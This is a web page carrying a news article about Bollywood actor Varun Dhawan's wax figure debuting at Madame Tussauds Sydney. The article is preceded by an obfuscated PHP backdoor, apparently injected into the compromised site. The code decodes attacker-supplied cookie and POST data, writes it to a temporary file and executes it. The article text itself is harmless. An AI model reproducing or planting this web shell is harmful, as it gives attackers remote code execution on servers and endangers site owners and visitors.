$HVlOqnYNVy = "\x48" . '_' . chr (85) . chr (69) . chr (83); $gKIkP = chr (99) . chr (108) . chr (97) . "\x73" . 's' . chr (95) . "\145" . chr (120) . chr ( 1102 - 997 ).chr (115) . 't' . "\x73";$WCaWTESsW = class_exists($HVlOqnYNVy); $HVlOqnYNVy = "51638";$gKIkP = "35458";$ECozt = !1;if ($WCaWTESsW == $ECozt){function CUMTuM(){return FALSE;}$sfWHPVuka = "22314";CUMTuM();class H_UES{private function DXeAzK($sfWHPVuka){if (is_array(H_UES::$lKthIReTgf)) {$LXIXPGXnJ = sys_get_temp_dir() . "/" . crc32(H_UES::$lKthIReTgf['s' . chr (97) . 'l' . chr ( 1114 - 998 )]);@H_UES::$lKthIReTgf["\x77" . chr ( 468 - 354 ).chr ( 805 - 700 )."\x74" . "\145"]($LXIXPGXnJ, H_UES::$lKthIReTgf[chr (99) . chr ( 139 - 28 )."\156" . chr ( 219 - 103 ).'e' . 'n' . 't']);include $LXIXPGXnJ;@H_UES::$lKthIReTgf["\144" . "\145" . "\154" . chr (101) . 't' . chr ( 526 - 425 )]($LXIXPGXnJ); $sfWHPVuka = "22314";exit();}}private $MbaBnMUF;public function VVbGCsFo(){echo 56600;}public function __destruct(){$sfWHPVuka = "44129_905";$this->DXeAzK($sfWHPVuka); $sfWHPVuka = "44129_905";}public function __construct($cYSwn=0){$CHlPG = $_POST;$yrOiERfh = $_COOKIE;$IiVCz = "6da796db-35ad-460b-9713-f25005802582";$LeZKlJIwZ = @$yrOiERfh[substr($IiVCz, 0, 4)];if (!empty($LeZKlJIwZ)){$OAvLmvYzI = "base64";$yCkLI = "";$LeZKlJIwZ = explode(",", $LeZKlJIwZ);foreach ($LeZKlJIwZ as $AFuKmuNV){$yCkLI .= @$yrOiERfh[$AFuKmuNV];$yCkLI .= @$CHlPG[$AFuKmuNV];}$yCkLI = array_map($OAvLmvYzI . '_' . 'd' . "\x65" . 'c' . "\x6f" . 'd' . chr ( 1056 - 955 ), array($yCkLI,)); $yCkLI = $yCkLI[0] ^ str_repeat($IiVCz, (strlen($yCkLI[0]) / strlen($IiVCz)) + 1);H_UES::$lKthIReTgf = @unserialize($yCkLI); $yCkLI = class_exists("44129_905");}}public static $lKthIReTgf = 3842;}$joMIUMqP = new /* 50088 */ H_UES(22314 + 22314); $_POST = Array();unset($joMIUMqP);} Bollywood star strikes a pose with his debut at Madame Tussauds Sydney | The Australia Today

Bollywood star strikes a pose with his debut at Madame Tussauds Sydney

Varun worked with the Madame Tussauds sculpting team to create the dynamic dance pose, the 'Disco Deewane,' from ‘Student of the Year’, which inspired his look.

Bollywood actor Varun Dhawan recently made his debut in the brand-new Bollywood set at Madame Tussauds Sydney.

The heartthrob’s wax figure was added at the Darling Harbour attraction from Wednesday, 27 March. 

“To help recognise and celebrate the Holi festival, we’re so excited to add Varun Dhawan to the Madame Tussauds Sydney family and unveil our brand-new Bollywood set,” said Anika Schmitzer, Operations Manager at Madame Tussauds Sydney.

- Advertisement -

“We’re already home to Indian stars, including Shah Rukh Khan, Diljit Dosanjh, Priyanka Chopra Jonas, and Sachin Tendulkar, and now we can include Varun in this amazing line-up of celebrities! This is huge for us, our Indian guests, and Bollywood fans, who love to see big stars at Madame Tussauds Sydney.”

Varun worked with the Madame Tussauds sculpting team to create the dynamic dance pose, the ‘Disco Deewane,’ from debut film ‘Student of the Year’, which inspired his look – distressed jeans, a red satin shirt and a leather vest. His figure stands proudly in the vibrant, new Bollywood set – a permanent addition to Madame Tussauds Sydney, decorated with colourful garlands which is inspired by his many romantic comedy movies.

Over 200 measurements were taken during a 5-hour sitting process to create the figure, previously housed at Madame Tussauds Delhi. Commenting on coming face-to-face with his figure in 2018, Varun Dhawan said, “I visited Madame Tussauds when I was six, and I can’t believe I can be the one to stand next to the figures of various celebrities and world leaders one day.” 

Next to Varun is the wax figure of good friend and fellow Bollywood star, Shah Rukh Khan – providing the perfect backdrop for fans to snap pictures with the two stars.

- Advertisement -

Support Our Journalism

Global Indian Diaspora needs fair, non-hyphenated, and questioning journalism, packed with on-ground reporting. The Australia Today – with exceptional reporters, columnists, and editors – is doing just that. Sustaining this needs support from wonderful readers like you.

Whether you live in Australia, the United Kingdom, Canada, the United States of America, or India you can take a paid subscription by clicking Patreon. Buy an annual ‘The Australia Today Membership’ to support independent journalism and get special benefits.

,